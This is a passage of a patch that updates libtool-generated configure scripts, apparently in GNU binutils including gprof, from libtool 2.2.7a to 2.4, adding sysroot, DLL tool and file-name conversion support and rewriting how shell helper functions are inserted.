- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -15896,13 +16551,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -15917,14 +16579,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -15957,12 +16622,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -16017,8 +16682,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -16028,12 +16698,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -16049,7 +16721,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -16085,6 +16756,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -16858,7 +17530,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -16961,19 +17634,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -17003,6 +17699,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -17012,6 +17714,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -17126,12 +17831,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -17218,9 +17923,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -17236,6 +17938,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -17268,210 +17973,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/gprof/configure b/gprof/configure
-index ab32bab2b6..5119c6019f 100755
---- a/gprof/configure
-+++ b/gprof/configure
-@@ -662,8 +662,11 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
- RANLIB
-+ac_ct_AR
- AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -780,6 +783,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_plugins
- enable_largefile
-@@ -1442,6 +1446,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
-
- Some influential environment variables:
- CC C compiler command
-@@ -5124,8 +5130,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5165,7 +5171,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -5851,8 +5857,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -5901,6 +5907,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if test "${lt_cv_to_host_file_cmd+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if test "${lt_cv_to_tool_file_cmd+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -5917,6 +5997,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6085,7 +6170,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
